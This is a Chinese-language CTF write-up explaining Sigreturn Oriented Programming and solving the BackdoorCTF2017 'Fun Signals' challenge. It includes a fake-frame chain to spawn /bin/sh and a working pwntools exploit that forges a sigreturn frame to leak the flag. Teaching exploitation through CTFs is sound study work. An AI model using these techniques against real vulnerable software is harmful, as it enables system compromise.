12 KiB
6.1.4 pwn BackdoorCTF2017 Fun-Signals
SROP 原理
Linux 系统调用
在开始这一切之前，我想先讲一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
/usr/include/asm/unistd_64.h 和 /usr/include/asm/unistd_32.h 中，另外还需要查看 /usr/include/bits/syscall.h。
一开始 Linux 是通过 int 0x80 中断的方式进入系统调用，它会先进行调用者特权级别的检查，然后进行压栈、跳转等操作，这无疑会浪费许多资源。从 Linux 2.6 开始，就出现了新的系统调用指令 sysenter/sysexit，前者用于从 Ring3 进入 Ring0，后者用于从 Ring0 返回 Ring3，它没有特权级别检查，也没有压栈的操作，所以执行速度更快。
signal 机制
如图所示，当有中断或异常产生时，内核会向某个进程发送一个 signal，该进程被挂起并进入内核（1），然后内核为该进程保存相应的上下文，然后跳转到之前注册好的 signal handler 中处理相应的 signal（2），当 signal handler 返回后（3），内核为该进程恢复之前保存的上下文，最终恢复进程的执行（4）。
- 一个 signal frame 被添加到栈，这个 frame 中包含了当前寄存器的值和一些 signal 信息。
- 一个新的返回地址被添加到栈顶，这个返回地址指向
sigreturn系统调用。 - signal handler 被调用，signal handler 的行为取决于收到什么 signal。
- signal handler 执行完之后，如果程序没有终止，则返回地址用于执行
sigreturn系统调用。 sigreturn利用 signal frame 恢复所有寄存器以回到之前的状态。- 最后，程序执行继续。
不同的架构会有不同的 signal frame，下面是 32 位结构，sigcontext 结构体会被 push 到栈中：
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
下面是 64 位，push 到栈中的其实是 ucontext_t 结构体：
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;
// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;
// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
就像下面这样：
SROP
SROP，即 Sigreturn Oriented Programming，正是利用了 Sigreturn 机制的弱点，来进行攻击。
首先系统在执行 sigreturn 系统调用的时候，不会对 signal 做检查，它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 sigreturn 会从用户栈上恢复恢复所有寄存器的值，而用户栈是保存在用户进程的地址空间中的，是用户进程可读写的。如果攻击者可以控制了栈，也就控制了所有寄存器的值，而这一切只需要一个 gadget：syscall; ret;。
另外，这个 gadget 在一些系统上没有被内存随机化处理，所以可以在相同的位置上找到，参照下图：
通过设置 eax/rax 寄存器，可以利用 syscall 指令执行任意的系统调用，然后我们可以将 sigreturn 和 其他的系统调用串起来，形成一个链，从而达到任意代码执行的目的。下面是一个伪造 frame 的例子：
rax=59 是 execve 的系统调用号，参数 rdi 设置为字符串“/bin/sh”的地址，rip 指向系统调用 syscall，最后，将 rt_sigreturn 设置为 sigreturn 系统调用的地址。当 sigreturn 返回后，就会从这个伪造的 frame 中恢复寄存器，从而拿到 shell。
下面是一个更复杂的例子：
- 首先利用一个栈溢出漏洞，将返回地址覆盖为一个指向
sigreturngadget 的指针。如果只有syscall，则将 RAX 设置为 0xf，也是一样的。在栈上覆盖上 fake frame。其中：
RSP：一个可写的内存地址RIP：syscall; ret;gadget 的地址RAX：read的系统调用号RDI：文件描述符，即从哪儿读入RSI：可写内存的地址，即写入到哪儿RDX：读入的字节数，这里是 306
sigreturngadget 执行完之后，因为设置了RIP，会再次执行syscall; ret;gadget。payload 的第二部分就是通过这里读入到文件描述符的。这一部分包含了 3 个syscall; ret;，fake frame 和其他的代码或数据。- 接收完数据或，
read函数返回，返回值即读入的字节数被放到RAX中。我们的可写内存被这些数据所覆盖，并且RSP指向了它的开头。然后syscall; ret;被执行，由于RAX的值为 306，即syncfs的系统调用号，该调用总是返回 0，而 0 又是read的调用号。 - 再次执行
syscall; ret;，即read系统调用。这一次，读入的内容不重要，重要的是数量，让它等于 15，即sigreturn的调用号。 - 执行第三个
syscall; ret;，即sigreturn系统调用。从第二个 fake frame 中恢复寄存器，这里是execve("/bin/sh", ...)。另外你还可以调用mprotect将某段数据变为可执行的。 - 执行
execve，拿到 shell。
pwnlib.rop.srop
在 pwntools 中已经集成了 SROP 的利用工具，即 pwnlib.rop.srop，直接使用类 SigreturnFrame，我们来看一下它的构造：
>>> from pwn import *
>>> context.arch
'i386'
>>> SigreturnFrame(kernel='i386')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 115, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 123, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>> SigreturnFrame(kernel='amd64')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 35, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 43, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>>
>>> context.arch = 'amd64'
>>> SigreturnFrame(kernel='amd64')
{'r14': 0, 'r15': 0, 'r12': 0, 'rsi': 0, 'r10': 0, 'r11': 0, '&fpstate': 0, 'rip': 0, 'csgsfs': 51, 'uc_stack.ss_flags': 0, 'oldmask': 0, 'sigmask': 0, 'rsp': 0, 'rax': 0, 'r13': 0, 'cr2': 0, 'r9': 0, 'rcx': 0, 'trapno': 0, 'err': 0, 'rbx': 0, 'uc_stack.ss_sp': 0, 'r8': 0, 'rdx': 0, 'rbp': 0, 'uc_flags': 0, '__reserved': 0, '&uc': 0, 'eflags': 0, 'rdi': 0, 'uc_stack.ss_size': 0}
总共有三种，结构和初始化的值会 有所不同：
- i386 on i386：32 位系统上运行 32 位程序
- i386 on amd64：64 位系统上运行 32 位程序
- amd64 on amd64：64 为系统上运行 64 位程序
BackdoorCTF2017 Fun Signals
$ file funsignals_player_bin
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
这是一个 64 位静态链接的 srop，可以说是什么都没开。。。
$ checksec -f funsignals_player_bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin
gdb-peda$ disassemble _start
Dump of assembler code for function _start:
0x0000000010000000 <+0>: xor eax,eax
0x0000000010000002 <+2>: xor edi,edi
0x0000000010000004 <+4>: xor edx,edx
0x0000000010000006 <+6>: mov dh,0x4
0x0000000010000008 <+8>: mov rsi,rsp
0x000000001000000b <+11>: syscall
0x000000001000000d <+13>: xor edi,edi
0x000000001000000f <+15>: push 0xf
0x0000000010000011 <+17>: pop rax
0x0000000010000012 <+18>: syscall
0x0000000010000014 <+20>: int3
End of assembler dump.
gdb-peda$ disassemble syscall
Dump of assembler code for function syscall:
0x0000000010000015 <+0>: syscall
0x0000000010000017 <+2>: xor rdi,rdi
0x000000001000001a <+5>: mov rax,0x3c
0x0000000010000021 <+12>: syscall
End of assembler dump.
gdb-peda$ x/s flag
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
而且 flag 就在二进制文件里，只不过是在服务器上的那个里面，过程是完全一样的。
首先可以看到 _start 函数里有两个 syscall。第一个是 read(0, $rip, 0x400)（调用号0x0），它从标准输入读取 0x400 个字节到 rip 指向的地址处，也就是栈上。第二个是 sigreturn()（调用号0xf），它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
那么怎样读取 flag 呢，需要一个 write(1, &flag, 50)，调用号为 0x1，而函数 syscall 正好为我们提供了 syscall 指令，构造 payload 如下：
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(str(frame))
io.interactive()
$ python2 exp_funsignals.py
[*] '/home/firmy/Desktop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
如果连接的是远程服务器，fake_flag_here_as_original_is_at_server 会被替换成真正的 flag。
这一节我们详细介绍了 SROP 的原理，并展示了一个简单的例子，在后面的章节中，会展示其更复杂的运用，包扩结合 vDSO 的用法。